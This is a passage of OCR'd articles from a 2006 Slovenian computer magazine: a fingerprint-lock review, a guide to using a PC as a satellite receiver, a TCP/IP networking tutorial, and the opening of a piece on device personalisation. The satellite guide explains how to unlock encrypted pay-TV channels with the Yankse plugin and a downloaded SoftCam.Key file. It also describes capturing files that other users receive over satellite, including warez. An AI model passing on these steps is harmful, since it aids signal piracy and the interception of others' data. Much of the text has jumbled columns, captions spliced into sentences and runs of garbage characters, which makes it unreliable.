glede na to, ali uporabljamo sistem z enim ali s tremi releji. S klikom na ukaz Relais dobimo možnost spreminjanja časa aktiviranja releja. Čas nastavimo od najmanj ene sekunde do največ 255 sekund. Privzeta vrednost je tri sekunde, za odklepanje vrat pa zadostuje že ena sekunda. Posameznemu releju lahko določimo čas aktivnosti (od 1 do 250 sekund). Za odklepanje vrat povsem zadostuje ena sekunda. ran, not matched oziroma prst je prepoznan, vendar skladnost ni popolna, enorolled oziroma vnos novega prsta in state xx, kar pomeni, da še ni v uporabi. Poleg vnosa uporabnikov prek notranje enote sistema, lahko te dodajamo tudi prek računalnika. Uporabnika dodamo tako, da v programu kliknemo na še ne uporabljeno mesto in kliknemo tipko Enroll. V novo odprto uporabniško okno vnesemo ime novega uporabnika, si izberemo, kateri prst bomo vnesli, in če imamo enoto s tremi releji, kateri rele bo vnos krmilil. S ponovnim klikom tipke Enroll nas program opomni, naj novi uporabnik s prstom potegne prek bralnika. Če je bil odtis uspešno zajet, lahko novi uporabnik že uporablja sistem. Uporabnike lahko tudi brišemo, tako da uporabnika kliknemo in izberemo Delete. Če smo se pri vnosu novega uporabnika pri pisanju imena zmotili, te napake ne moremo odpraviti, ime pa spremenimo tako, da vnos izbrišemo in uporabnika ponovno dodamo pod novim imenom. Enako velja za uporabnike, vnesene brez pomoči računalnika, kjer vnos imena sploh ni možen.  Dom lahko zapustimo kadarkoli, ne da bi nas skrbelo, ali imamo ključe. Prsti so označeni z F1 do F10, pri čemer je F1 mezinec leve roke, F10 pa mezinec desne roke. Z izbiro številk 01, 02, 03 pa si izberemo, kateri rele želimo krmiliti z določenim prstom. S klikom na ukaz Read program prebere v sistem vnesene uporabnike, skupaj z osebno zaporedno številko, imenom in vnesenim prstnim odtisom ter številko krmiljenega releja. Možnost History nam koristi tudi, če nimamo sistema ves čas povezanega z osebnim računalnikom, saj nam omogoča vpogled v Vneseni uporabniki na levi strani, na desni strani evidenca vstopov. zadnjih sto dogodkov, Številka 01 pomeni, da uporabnik upravlja rele številka 01. podatke program shrani v datoteko formata csv, ki ga lahko odpremo s Sistem lahko nadgradimo z zakasnitvenim programom Excel. Med podatki so vrednosti matc- relejem in tako z enim bralnikom krmilimo hed, kar pomeni, da je bil prst pravilno identifici- dve napravi. Zanimiva je tudi možnost, da z 83 V PRAKSI Ekey TOCAhome zakasnitvenim relejem napravo prilagodimo tako, da sta za vklop potrebni dve osebi. Možnosti je torej neskončno, uporabiti moramo le malce fantazije. Ker pa prstov in s tem prstnih odtisov nimamo samo na rokah, lahko, če iz kakšnega nenavadnega razloga to želimo, uporabnika dodamo tudi na podlagi nožnega prstnega odtisa. Prepoznavanje bo sicer v zimskem času malce nerodno, deluje pa! Zamenjava klasičnega ključa z bralnikom prstnih odtisov ima veliko prednosti. Prva je ta, da ključa, ker se nas vedno drži, ne moremo več pozabiti, sistem ima tudi prednosti pred bralniki kartic, ki imajo enake pomanjkljivosti  Priporočljivo je, da za vsakega uporabnika sistema vnesemo vsaj po dva prstna odtisa, da ne pride do težav prepoznavanja pri morebitnih poškodbah, kot so večje ureznine, opekline, odrgnine in podobno. kot klasični ključi. Sistemi s tipkovnicami, ki od nas zahtevajo vnos že nastavljene kombinacije, so sicer uporabni, a saj vemo: ko ve geslo eden, ga ve sam, ko ga vesta dva, ga pozna ves svet. Sistem potrebuje za delovanje električno energijo, žal ob izpadu elektrike naprava ne deluje, seveda pa se ohranijo vsi vnosi. Rešitve, ki bi delovala ob izpadu električne energije, ni, morda si lahko omislimo UPS, najboljša rešitev pa je, da imamo rezervni ključ vedno nekje pri roki. Kot pomanjkljivost naprave bi lahko navedli način priključitve, ki bi bil lahko v današnjem času prek USB- ali morda celo omrežnega priključka, ki bi nam omogočala predvsem bolj proste roke pri izbiri montažnega mesta notranje enote. Tako pa smo omejeni z dolžino kabla.  računalnik kot zmogljiv digitalni satelitski sprejemnik Satelitska oprema za vsak žep Današnji računalniki so izredno prilagodljive in vsestransko uporabne naprave. Pogledali si bomo, kako svojega elektronskega prijatelja izredno poceni nadgradimo v zmogljiv digitalni satelitski sprejemnik, ki se ne odlikuje le s prikazovanjem želene TV-vsebine, temveč tudi z možnostjo odklepanja zaklenjenih programov, sprejema čisto pravih datotek in poslušanja kristalno čistih digitalnih radijskih postaj. Piše : Uroš Florjančič uros.florjancic@mojmikro.si P isalo se je leto 1998, ko me je premamila reklama za hiter satelitski internetni dostop: »Prenašajte datoteke s kar 2 Mb/s, glejte digitalno TV in poslušajte digitalni radio,« se je glasila reklama za storitve podjetja EOL (www.eouropeonline.com). Sprva sem bil navdušen, po preizkusu in dobesedno stran vrženih dobrih sto tisočakih, pa izredno razočaran, zato sem obupal nad satelitsko tehnologijo in nanjo do nedavnega pozabil. SATELITSKA TEHNOLOGIJA Z BOLŠJAKA Ne dolgo tega pa sem med brskanjem po internetnem bolšjem trgu opazil zanimivo ponudbo: komplet satelitske antene, kartice LNB in kartice PCI SkyStar 2 DVB za neverjetnih 22 tisočakov. Ni ga bilo junaka, ki bi me prepričal, da zadeva ni vredna ponovnega preizkusa, tokrat ne plačljivih, temveč brezplačnih storitev, ki jih lahko lastnik kompleta uporablja. Ker sem od časa prvega srečanja s tem čudom tehnike malce spremenil svoj naslov in ker sosed pred tridesetimi leti, ko je zidal svojo hišo, ni računal, da me bo med iskanjem satelitov po širnem nebu motil prav njegov dimnik, sem porabil kar nekaj časa, da sem izbral primerno mesto za namestitev antene, pač najvišjo točko hiše, ki je seveda dimnik. Po trdem delu sem anteno oziroma parabolo s pomočjo kompasa grobo usmeril proti satelitu. Sledila je vdelava kartice PCI Sky Star 2 DVB v domač računalnik. Z namestitvijo programske opreme ni bilo nikakršnih težav. Sledila sta ponovni zagon računalnika in fina usmeritev antene s pomočjo programa Fast Satfinder. USMERITEV SATELITSKE ANTENE Fast Satfinder Fast Satfinder je nepogrešljivo orodje, ki pomaga pri fini usmeritvi satelitske antene na želeni satelit. Med obsežno izbiro že vnesenih satelitov si izberemo tistega, na katerega želimo anteno usmeriti. S pomočjo kompasa anteno najprej grobo usmerimo na želeno lokacijo. Z malce uspeha nam bo Fast Satfinder kmalu zaznal signal izbranega satelita. Na to nas opozori s piskom in prikazom kakovosti signala v odstotkih. Ko orodje zazna signal, anteno samo še fino nastavimo s počasnim premikanjem; več odstotkov seveda pomeni boljši sprejem signala. Pri fini nastavitvi je priročen vpogled na prikaz programa, saj tako vsako spremembo opazimo takoj. Če možnosti neposrednega vpogleda nimamo, si pomagamo s prijateljem, ki nam sporoča stopnjo kakovosti sprejema. Program skupaj s kartico SS2 uspešno nadomešča namenski iskalnik satelitov in tako prihrani nekaj tisočakov. Orodje najdete na priloženem MikroCD-ju. Če nimate zlobnega soseda, ki je pred leti namenoma zgradil visok dimnik, se ne zadovoljite samo z 61 %, čeprav zadeva tudi v tem primeru deluje brez težav. ČAROVNIJE S PROGRAMI IN STORITVAMI Sprejemniku SkyStar 2 je priložen program za spremljanje FTA (brezplačnih) digitalnih radijskih in TV-vsebin. Poleg elektronskega programskega vodiča (EPG) podpira tudi gledanje programa z zamikom (timeshifting) in snemanje želenih programov na trdi disk, ki je lahko trenutno s pritiskom na gumb ali prednastavljeno. Skratka, dovolj zmogljiv program za običajne uporabnike.  Vse v članku omenjene programe, vtičnike in module najdete na našem MikroCD-ju, z izjemo datoteke s ključi za odklepanje zaklenjenih digitalnih satelitskih programov. 84 moj mikro | 2 | februar | 2006 V PRAKSI računalnik kot zmogljiv digitalni satelitski sprejemnik ProgDVB Če pa želimo iz svoje opreme potegniti kaj več, priporočam uporabo programa ProgDVB. Program poleg vsega naštetega z dodajanjem modulov omogoča tudi sprejem nekaterih sicer zaklenjenih programov in »lovljenje« datotek, ki si jih drugi uporabniki prenašajo k sebi. Slavni ProgDVB MegaRadio Megaradio je bil zanimiv projekt, ki žal ne deluje več. V sodelovanju z nekaj satelitskimi radijskimi postajami je bil pravi glasbeni Napster. Program je namreč prek teleteksta predvajano glasbo shranil na trdi disk računalnika, jo poimenoval z imenom izvajalca in naslovom pesmi ter tako pripravil na poslušanje. Resda na vsebino nismo mogli vplivati, a kaj je lepšega, kot nekaj GB kakovostne in brezplačne glasbe v formatu MP3 vsak dan, in to brez skrbi, da nas kdo nadzira. Trenutno zadeva ne deluje, po tihem pa se šušlja o nasledniku storitve, ki ga seveda z veseljem pričakujemo. Kaj pa legalnost takšnega servisa? Hm, lahko bi rekli, da je ravno toliko legalen kot snemanje glasbe na klasične kasete z radiokasetofonom, s to razliko, da tu delo bolj kakovostno za nas opravi računalnik. Yankse Yankse je vtičnik, ki programu ProgDVB omogoči sprejem nekaterih sicer zaklenjenih televizijskih ter radijskih programov. Zadevo brez težav najdemo v spletu (www.google. com), tako dobljene datoteke pa preprosto skopiramo v korensko mapo ProgDVB. Vendar delo tu še ni končano, za odklepanje poleg vtičnika potrebujemo še datoteko, ki vsebuje potrebne ključe. Tudi tokrat uporabimo strica Googla, iščemo pa datoteko SoftCam.Key, ki jo nato prav tako shranimo na prej omenjeno mesto. Če smo našli dovolj novo datoteko, ki vsebuje ključe, potrebne za Z uporabo tega odklepanje zaklenje- vtičnika nikar ne nih programov, zdaj kršite zakonov! 86 samo še ponovno zaženemo ProgDVB in že lahko uživamo v prej nedostopnih programih. Tu je potrebno še opozorilo, da takšno spremljanje programov ni dovoljeno, avtor teh vrstic sem zadevo zgolj preizkusil, saj lahko vse programe, ki mi jih je uspelo odkleniti, tudi sicer spremljam prek Siolovega IPTV-ja in UPC Telemachovega kabelskega omrežja. V tem zato ne vidim nič slabega, vsekakor pa je za svoje početje odgovoren vsak posameznik sam. ProgFileGrabber ProgFileGrabber je modul, ki ProgDVB spremeni v nekakšno mrežo, ki je sposobna prestreči podatke (datoteke), ki si jih drugi uporabniki pošiljajo v svoj računalnik. Odvisno od servisa dobimo bolj ali manj uporabne programe, slike, video, datoteke MP3, in če izberemo pravi servis, tudi stvari, ki so aktualne na tako imenovani sceni warez. Ta je zelo priljubljena, zato se je razpaslo tudi nekaj sodobnih piratov, ki »svoje« novosti razpečujejo po tej poti, seveda uporabnikom, ki so »vredni zaupanja« in so to pripravljeni plačati. Prestrezanje različnih datotek: s filtrom lahko izbiramo velikost in končnico želenih datotek (MP3 od 3 do 9 MB). ProgMedia Server Ta program nam sliko digitalnih satelitskih postaj ponese po našem krajevnem omrežju in tako omogoči uporabnikom spremljanje programov brez dodatnega stroška nakupa Prek vtičnika digitalnega spre- ProgMediaServer jemnika. Različi- posredujemo sliko ca ProgMediaSer- drugim uporabnikom ver Home je že v omrežja. namestitvenem paketu ProgDVB. Za profesionalno različico pa avtor zahteva 50 evrov. Cenejša različica za uporablja distribucijo samo protokol unicast, dražja pa pozna tudi broadcast in multicast. Zanimiva je povezava s Siolovim IPTV-jem, saj lahko želeni program z nekaj kliki spremljamo kar na Siolovi napravi STB. Casablanca Casablanca je zanimiva storitev ponudnika Sat@On. Koncept je zanimiv: milijonom potencialnih uporabnikom ponuditi zastonj spletno brskanje z nekaj omejitvami. Strani, ki so dosegljive uporabnikom Casablance, uporabniki najprej izglasujejo; tiste z največ glasovi si priborijo prednost pred drugimi in ponudnik jih prek satelita pošlje uporabnikom. Glasuje lahko vsak, poleg celotnih spletnih strani, ki jih program prenese na naš trdi disk in nam tako omogoči brskanje, lahko glasujemo še za podcast, novičarske in RRS-vsebine. Casablanca, sem in tja priročen način internetnega brskanja brez prave internetne povezave. SE SPLAČA? Po precej obširnem testiranju se sprašujem, ali je oprema upravičila svoje ceno. Odgovor je odvisen od marsičesa. Če želite malce eksperimentirati, če na noben drug način ne morete do širokopasovnega interneta, če bi si radi sem in tja posneli kak videospot ali če se pustite presenetiti naključno prestreženim datotekam in vam ob vsem tem nekaj več kot dvajset prešernov ne dela težav, vam nakup priporočam. Če pa boste od kartice pričakovali čudeže, pa žal zadeva ni primerna za vas, saj so opisane storitve zgolj eksperimentalne narave in lahko sem in tja povzročijo neželen ponovni zagon računalnika, pa tudi programov ne gre odklepati kar za šalo.  moj mikro | 2 | februar | 2006 �������� ��������������������������������������������������������������������� ���������������������������������������������������������������������� ����������������������������������������������������������� ���������������������������������������������������������������� �������������������������������������������������������������� ������������������������������������������ ������������������������ ��������������������������� V PRAKSI sam svoj mojster: mala šola TCP/IP-ja, 2. del Vpogled v podatkovna omrežja Podatkovna omrežja se zdijo na prvi pogled pogosto popolnoma drugačna od klasičnih telekomunikacijskih omrežij. Dejstvo pa je, da mehanizem deluje na podobnih načelih. Oglejmo si jih podrobneje, preden si spet zadamo praktične naloge. Piše : Marko Koblar marko.koblar@amojmikro.si si le nekaj primerov. Ker je bilo omrežje ARPANET v primerjavi z današnjim internetom razmeroma majhno, je jasno, da je koncept IP-naslavljanja večkratno presegal potrebe. Zaradi zaprtosti omrežja ARPANET posebni varnostni mehanizmi znotraj TCP/IP-ja niso bili predvideni. Zaradi razmeroma omejenega nabora storitev znotraj TCP/IP-ja niso bili predvideni niti mehanizmi za zagotavljanje kakovosti storitev (QoS). Bolj kot slabosti (prej dediščina preteklosti) pa je pomembno dejstvo, da s pomočjo dodatnih mehanizmov in določenih prijemov te slabosti odpravimo oziroma zmanjšamo na sprejemljivo raven. V prvem delu smo spoznali IP-protokol (in njemu sorodne protokole) in kam ga umestimo glede na model OSI. Spoznali smo osnovna načela naslavljanja, javne in zasebne IP-naslove ter kaj sta TCP in UDP. Ugotovili smo, da načelo IP-naslavljanja/označevanja ni tako zelo drugačno, kot smo ga vajeni. Vsi v omrežju ne potrebujejo podatkov o vseh, ker lahko naslovnika dosežemo po podobni poti kot pri običajni pošti – država, mesto, ulica, hiša, naslovnik. Takšno usmerjanje lahko načeloma nadomestimo tudi s kodami, a čeprav so kode lahko podobne, ni nujno, da sta uporabnika v neposredni bližini. To velja tudi za »podobne« IP-naslove, ki niso v skupnem naslovnem prostoru. OD ARPANETA DO INTERNETA Začetki zasnove TCP/IP segajo v konec šestdesetih let preteklega stoletja. Leta 1968 je agencija ARPA (Advanced Research Projects Agency) začela raziskave na področju omrežnih tehnologij za potrebe obrambnega ministrstva ZDA, ki so temeljile na paketni komutaciji. Prvotni namen je bil zagotovitev možnosti komunikacije med različnimi uporabniki znotraj tega omrežja. Kot praktičen rezultat teh raziskav pa je bilo vzpostavljeno omrežje ARPANET, ki je pozneje preraslo v internet − pri razvoju katerega je imel TCP/IP pomembno vlogo. V začetku osemdesetih (1983) je postal TCP/IP standardni protokol znotraj omrežja ARPANET. Sama zgodovina TCP/IP-ja je manj pomembna kot čas, v katerem se je razvil. Tedaj osebnega računalnika, kot ga poznamo danes, še ni bilo. Srce zaprtih omrežij so bili računalniki, do njih pa je dostopalo določeno število uporabnikov prek terminalov, ki so delovali v načinu strežnik−odjemalec (server−client). Aplikacije so v večini primerov »tekle« v strežnikih, razmeroma omejen pa je bil tudi nabor uporabniških storitev. Zmogljivosti strojne opreme so bile za današnje čase skromne, podobno velja za povezave znotraj omrežij oziroma med omrežji. V luči takratnih dogodkov oziroma takratnih zahtev lahko razumemo zakaj je bila smer razvoja TCP/IP-ja oziroma interneta takšna, kot je bila. Poglejmo 88 Nastavitve IP-naslovov Posledica tega je, da TCP/IP danes praktično prevladuje na področju podatkovnih omrežij, čeprav mu v preteklosti vsi niso bili najbolj naklonjeni (tudi sam Microsoft). IP-NASLAVLJANJE TAKO IN DRUGAČE V pretekli številki smo opisali, kdaj sta dva uporabnika v istem omrežju. Pri razredu C (maska 255.255.255.0) se uporabniški IPnaslovi razlikujejo v zadnjih številkah (npr. 192.168.1.1–92.168.1.254). Spoznali smo, da sta prvi in zadnji naslov rezervirana (v našem primeru vrednost 0) za naslov omrežja oziroma broadcast omrežja (v našem primeru vrednost 255). Za uporabnike, ki jih želimo povezati, lahko zato izberemo poljubno vrednost, pogoj pa je, da se vrednosti unikatno dodeljujejo. Na primer: računalnik A: 192.168.1.2 /24 (/24 = maska 255.255.255.0) računalnik B: 192.168.1.16 /24 računalnik C: 192.168.1.193 /24 Za povezavo uporabnikov znotraj omrežja, ki uporablja IP-naslavljanje, zadošča podatek o IP-naslovu uporabnika in maski. Te naslove lahko v računalnik vpišemo ročno pri omrežnih nastavitvah. V Windows 2000 (podobno tudi v različicah XP, WinME/9x) storimo to v omrežnih nastavitvah Nadzorne plošče. Želeni vmesnik dvakrat kliknemo in izberemo lastnosti. Če imamo ustrezne uporabniške pravice, se nam izpišejo nameščene storitve, odjemalci in protokoli. Izberemo TCP/IP (če ga ni, ga namestimo) in vnesemo vrednosti IP-naslova ter maske. Zaenkrat vrednosti privzetega prehoda oziroma DNS-naslova nista pomembni. Vrednosti lahko preverimo tudi iz ukazne vrstice z ukazom ipconfig /all (v Linuxu storimo to z ukazom ifconfig). IP-naslove pa lahko uporabnikom dodelimo tudi drugače. V zadnjih letih je med omrežnimi skrbniki priljubljena možnost samodejnega dodeljevanja naslovov prek DHCP-strežnika (Dynamic Host Configration Protocol). Načelo delovanja je preprosto. Uporabnik s pomočjo DHCPodjemalca prek omrežja (broadcast paket) pošlje DHCP-zahtevo (DHCP request) DHCP-strežniku − zahtevo za dodelitev IP-naslova. Ta ga dodeli iz nabora IP-naslovov na podlagi vnaprej določenih kriterijev. Na posameznem segmentu naj bi bil le en DHCP- strežnik, saj lahko pri napačni uporabi pride do konflikta. Zavedati se je treba, da DHCP- strežnik naslovov ne dodeljuje trajno (zahteva za dodelitev se ustvari ob vsakem zagonu računalnika). Privzeta vrednost za »rezervacijo« je tri dni, pogosto pa skrbniki določajo daljše vrednosti. V tem času se isti IP-naslov ponovno dodeli določenemu uporabniku, po preteku časa rezervacije pa se vrne v nabor prostih naslovov in se lahko dodeli tudi drugim uporabnikom. Opozoriti pa velja, da uporabniki v primeru nedostopnosti DHCP-strežnika ne bodo mogli komunicirati med seboj, čeprav je med njimi vzpostavljena fizična povezava in bi lahko pri statičnem naslavljanju brez težav uporabljali določen del omrežja. Prek DHCPstrežnika lahko uporabnikom dodeljujemo tudi druge vrednosti (npr. privzeti prehod, DNS, naslov FTP-strežnika za nadgradnjo programske opreme naprave ...). Če želimo, da našemu računalniku naslov dodeli DHCP-strežnik, izberemo pri nastavitvah TCP/IP samodejno dodeljevanje IP-naslova. DHCP-strežniki so del večine Linuxovih distribucij in strežniških različic okolja Windows. Namestimo pa ga lahko tudi kot samostojen izdelek, kot je na primer brezplačni Tftpd32 (http://perso.wanadoo.fr/ philippe.jounin/ tftpd32.html). moj mikro | 2 | februar | 2006 V PRAKSI sam svoj mojster: mala šola TCP/IP-ja, 2. del KAJ JE PRIVZETI PREHOD? Med omrežnimi nastavitvami smo srečali tudi privzeti prehod (default gateway). Na naslov privzetega prehoda (če drugače ne določimo!) pošiljamo ves »promet«, ki ni namenjen omrežju, v katerem je uporabnik. V našem primeru so to vsi naslovi, ki niso v omrežju 192.168.1.0 oziroma so različni od 192.168.1.1192.168.1.255. V vlogi privzetega prehoda so običajno usmerjevalniki (router) oziroma njim podobne naprave. Več o njih sežemo enak učinek, kot če bi napisali http:// www.najdi.si. Priznati pa morate, da si je neprimerno lažje zapomniti »http- naslove« kot pa njihove IP-naslove. Večina manjših omrežij DNS-strežnika nima in uporablja DNS-strežnik ponudnika dostopa do interneta (npr. Voljatel, Siol, Arnes …). STALNI IN SPREMENLJIVI IP-NASLOVI Napravi lahko IP-naslov dodelimo ročno ali prek strežnika DHCP NASLOV DNS-STREŽNIKOV Zadnja »osnovna« TCP/IP-nastavitev je naslov DNS (Domain Name Service) strežnikov. Naloga DNS-strežnikov je prevajanje domenskih imen v IP-naslove. Učinek pridobitve informacije s strani DNS-strežnika je podoben kot dostop do vnosa v datoteki hosts. DNS-strežnik pretvori informacijo iz npr. naslova http://www. najdi.si v IP-naslov 195.250.198.67. Če ta IPnaslov vnesemo v polje spletnega brskalnika, do- Uporabniki v svojih omrežjih najpogosteje uporabljajo naslove iz naslovnega prostora, ki je namenjen zasebni uporabi. Kljub vsemu pa imajo pogosto (ne vedno!) s strani ponudnika dostopa dodeljen tudi vsaj en javni IP-naslov. Ta naslov se lahko dodeli kot stalen (statični) ali pa se spreminja (dinamični IP-naslov). Pri klicnih povezavah (analogni modemi, ISDN) se IP-naslov običajno dodeljuje dinamično – naključno iz operaterjevega nabora, pri širokopasovnih povezavah pa lahko uporabnik pogosto izbira med stalnim ali spreminjajočim se IP-naslovom. Stalen IP-naslov je zanimiv predvsem za uporabnike, ki želijo postaviti določen strežnik, čeprav je mogoče zagotoviti dostop do njih tudi s prek specializiranih strežnikov, ki omogočajo osveževanje DNS-zbirk s trenutnim IP-naslovom (npr. storitev DynDNS; www.dyndns.org/). Ne glede na način, kako je IP-naslov pridobljen, je to IP-naslov »WANpovezave«. Parametri DHCP-strežnika (računalnik z Linuxom) nekoliko kasneje, zaenkrat pa naj bo usmerjevalnik naprava z več (vsaj dvema) vmesniki, ki povezujejo različna omrežja. V manjšem podjetju ali za domačo rabo je en vmesnik priključen v krajevno omrežje, drugi vmesnik pa v opremo ponudnika internetnega dostopa − npr. ADSL/CATV- modem, oprema WLAN ... Jasno je, da se morata IP-naslov usmerjevalnikovega vmesnika (priključenega v krajevno omrežje) ter vrednost, vpisana v naslov privzetega prihoda, ujemati. V nasprotnem primeru smo ustvarili črno luknjo, v katero pošiljamo promet brez upanja na uspeh. Da je IP-naslov privzetega prehoda dejansko privzeti »izhod« iz omrežja, lahko potrdimo tudi z ukazom route print, kjer sta ob naslovu privzetega prehoda vrednosti za naslov in masko 0.0.0.0. Določeno smer pa lahko preprosto izvzamemo in pošiljamo na drug naslov. To storimo z ukazom route add − npr. route add 192.168.3.0 mask 255.255.255.0 192.168.1.254 –, s katerim pošiljamo ves promet za omrežje 192.168.3.0 namesto na naslov privzetega prehoda na naslov 192.168.1.254. Smer izbrišemo z ukazom route delete 192.168.3.0. Drug dokaz, da promet izven »domačega omrežja« resnično pošiljamo prek privzetega prehoda, je izpis ukaza tracert, kjer je prva točka prehoda IP-naslov privzetega prehoda domačega omrežja (npr. tracert www.siol.net). 89 V PRAKSI sam svoj mojster: mala šola TCP/IP-ja, 2. del PREVAJANJE OMREŽNEGA NASLOVA − NAT Lahko rečemo, da v prej opisanem primeru vidi ponudnik dostopa (ISP) naše omrežje kot enega uporabnika z javnim naslovom. Podobno pa vidi krajevno omrežje privzeti prehod kot ponorno točko za ves promet, ki se ne zaključuje znotraj tega omrežja. Načelo skrivanja krajevnega omrežja za enim IP-naslovom imenujemo NAT (Network Address Translation), oziroma funkcionalnost PAT (IP Port Translation). Funkcionalnost NAT je dodana okolju Windows z možnostjo skupne rabe internetne povezave (ICS − Internet Connection Sharing) . Uporaba NAT-a ni zanimiva le zaradi prihranka javnih IP-naslovov, ampak tudi s stališča varnosti, saj omejuje dostop do računalnikov v domačem omrežju. V tehničnem smislu pa izvaja NAT »vohljanje« tako dohodnega kot odhodnega prometa. VLOGA USMERJEVALNIKA Usmerjevalnik je s svojimi vmesniki v vlogi povezovalnega člena med omrežji. Gre torej NASVETI IN ZANIMIVOSTI Usmerjevalni protokoli V večjih omrežjih imamo večje število usmerjevalnikov. Zaradi kompleksnosti se podatki o smereh ne vpisujejo ročno, temveč se izmenjujejo med njimi prek posebnih, usmerjevalnih protokolov, kot so RIP (Routing Information Protocol ), IGRP (Interior Gateway Routing Protocol, OSPF (Open Shortest Path First) ... razumemo na naslednjem primeru. Na določenem IP-naslovu je strežnik z različnimi storitvami (servisi). Vsi so dostopni prek istega IP-naslova, vsak od njih pa »posluša« na določenih vratih − na primer Primer preusmerjanja vrat na interne IP-naslove SSH-strežnik na vratih 22, spletni strežnik na vratih 80, strežnik za elektronsko pošto na 110 ... Ker dobivamo iz istega IP-naslova pakete za različne aplikacije, informacija o izvornem IP-naslovu ne zadošča. Funkcionalnost vrat pa lahko koristno uporabimo tudi zato, da lahko prek enega javnega IP-naslova zagotovimo dostop do več uporabnikov v zasebnem omrežju: vrata 80 preusmerimo na IP-naslov 192.168.1.4, Načelo delovanja NAT-a vrata 81 na istem javnem IP-naslovu preusmerimo na zasebni IP-naslov 192.168.15 ... Kot lahko vidimo, grob pogled v paket, ki je omejen na izvorni ali ponorni IP-naslov, ne zadošča. Podobno kot pri običajnih poštnih paketih, potrebujejo posebni paketi tudi posebno obravnavo. V ta namen obstajajo posebne oznake; tako na primer napis »Steklo« narekuje pozorno rokovanje s tovrstnimi paketi. Podobno velja tudi pri podatkovnem prometu. Govorni paketi so hitro pokvarljivo blago. Če ne prispejo pravočasno, jih lahko zavržemo (kdo želi gnilo sadje?). PRIORITETNA OBRAVNAVA ALI BLOKADA PROMETA za bolj ali manj inteligentno napravo, ki ima vmesnike, v katere so »priključena« različna omrežja. To je tudi razlog, zakaj lahko osebni računalnik z več omrežnimi karticami spremenimo v usmerjevalnik z različnimi funkcionalnostmi. Usmerjevalnik pa ne omogoča le povezovanja, temveč lahko v njegovih parametrih določamo tudi različna pravila. Uporabnik lahko opredeli različne sezname, s katerimi lahko določene vrste tako dohodnega kot tudi odhodnega prometa omeji. Primer uporabe tovrstnih pravil bi lahko bil, da določenim uporabnikom ne dovolimo dostopa do interneta. Z ustreznim označevanjem prometa lahko zagotovimo prioritetno obravnavo prometa s časovno kritično komponento pred drugimi vrstami prometa. Seveda pa je potrebno za uspešno izvedbo zagotoviti prioriteto določene vrste prometa vzdolž celotne poti. Informacijo o uporabljenih vratih pa lahko uporabimo tudi za blokado določene vrste prometa. Uporabnikom lahko recimo omejimo dostop do strežnika za elektronsko pošto prek odjemalca (kot je MS Outlook), dovolimo pa ogled prek spletnega brskalnika. To storimo z blokado vrat 110 (za POP3). Tovrstne »finejše« nastavitve omejevanja prometa izvajamo na požarnih zidovih (firewall). Največkrat je njihova funkcionalnost dodana usmerjevalnikom, če so zahteve strožje, pa so lahko tudi kot samostojne naprave. Uporabnik lahko namesti v svoj računalnik tudi osebni požarni zid, kakršen je dodan v Windows XP. Požarni zidovi pa niso le pripomoček za zaščito, temveč so lahko pri nepravilne rabi razlog za težave – nepravilno delovanje. FUNKCIJE VRAT NASLEDNJIČ: IZ TEORIJE V PRAKSO IP-naslovi za opremo na različnih lokacijah IP-naslove lahko v naprave vpisujemo ročno ali pa jih dodelimo prek DHCPstrežnika. Tovrstno dodeljevanje je zanimivo predvsem za opremo, ki jo uporabljamo na različnih lokacijah. Na določenem segmentu omrežja mora biti le en DHCP-strežnik, saj lahko sicer pride do težav. Mislite, da ste nevidni? Marsikdo se sploh ne zaveda, da je izsledljivost uporabnika oziroma njegovega početja pravzaprav bolj stvar volje in zakonodaje kot tehnični problem – izjema so seveda »mački«, ki zlorabijo dostop koga drugega. Na strežniku lahko vidimo, kdo je do njega dostopal, ponudniki dostopa vodijo evidence, komu in kdaj je bil določen IP-naslov dodeljen ... »Stari« IPv4 in novi IPv6 Kljub nekaterim optimističnim napovedim v preteklosti danes marsikje še vedno uporabljamo IP različice 4 (Ipv4). IPv6 (www.ipv6.org/) poleg odprave omejenosti obstoječega naslovnega prostora prinaša tudi druge izboljšave. 90 Primer grafičnega vmesnika na požarnem zidu za dovoljen dohodni promet Ko smo v pretekli številki govorili o TCP/ IP-ju, smo ugotovili, da ves promet ni enak. Ko uporabnik vzpostavi določeno povezavo s strežnikom (npr. http, dostop do elektronske pošte, SSH ...), se informaciji o izvornem in ponornem IP-naslovu doda tudi informacije o vratih (port). Pojem vrat bo laiku verjetno najlažje razumeti kot »identifikacijsko oznako« aplikacije, na katero se nanaša. Pomen vrat lahko Spoznali smo nekatere najosnovnejše in najnujnejše pojme. V naslednji številki pa se bomo tudi praktično poigrali. Med seboj bomo povezali več naprav. Nekaterim bomo dodelili naslove ročno, drugim prek strežnika DHCP, prek usmerjevalnika bomo zagotovili dostop omrežja do spletnih strani, iz interneta omogočili dostop do nekaterih strežnikov in še kaj …  moj mikro | 2 | februar | 2006 V PRAKSI poosebljanje tehnologije Naprave po meri posameznika Na svetu ne obstajata dve enaki osebi in vsak od nas je drugačen od drugih. Tehnološke rešitve pogosto zanemarjajo to enostavno dejstvo. Vsak od nas pa bi rad prilagodil tehnologijo sebi, tako da ustreza njegovim osebnim potrebam. Takšna želja je neuresničljiva brez ustreznih orodij. Tovrstna orodja pa že obstajajo in so ponekod sposobna tudi samostojnega delovanja. Piše : Esad Jakupović esad.jakupovic@mojmikro.si L judje se ponekod čutijo preplavljeni s tehnologijami. Po anketi analitskega podjetja Research International Deutschland se 57 odstotkov Nemcev pritožuje, da postajajo elektronske naprave vse bolj zapletene. Toda če bi proizvajalci potrošniške naprave »slekli do kože« in jih opremili z minimumom zmogljivosti, bi uporabniki ostali brez kopice koristnih inovacij. Prava rešitev je poosebljanje naprav, brez katere proizvajalci tvegajo izgubljanje konkurenčne prednosti. SAMODEJNO PRILAGAJANJE Poosebljanje mobilnih telefonov, medicinske opreme, avtomatskih sistemov, kabin vozil in mnogih drugih sistemov je veliko več kot marketinška ideja zaradi povečevanja zvestobe potrošnikov. Poosebljanje namreč poenostavlja sicer kompleksne postopke delovanja, vsebine ali funkcije tehničnih naprav. V osnovi se izvaja na eden od dveh načinov: uporabnik spreminja lastnosti ali videz sistema ali pa se sistem samodejno prilagaja navadam in nagnjenostim uporabnika. Zgled prve vrste poosebljanja je, ko uporabnik zamenja ohišje mobilnega telefona ali pa prilagodi programsko opremo prek menija, tako da dodeli posamezne funkcije določenim tipkam. Samodejno prilagajanje vključuje spremembe, kot je »interaktivno filtriranje«, s katerim na primer spletne prodajalne ponujajo določenem uporabniku izbiro izdelkov ali storitev, ki bi ga lahko zanimala. Podatki, ki se uporabljajo za tovrstno prilagajanje, se zbirajo s prejšnjih obiskov in primerjav z drugimi uporabniki. Druga možnost je uporaba vnaprej definiranih profilov, ki je zasnovana na programski opremi, sposobni učenja na podlagi »opazovanja« 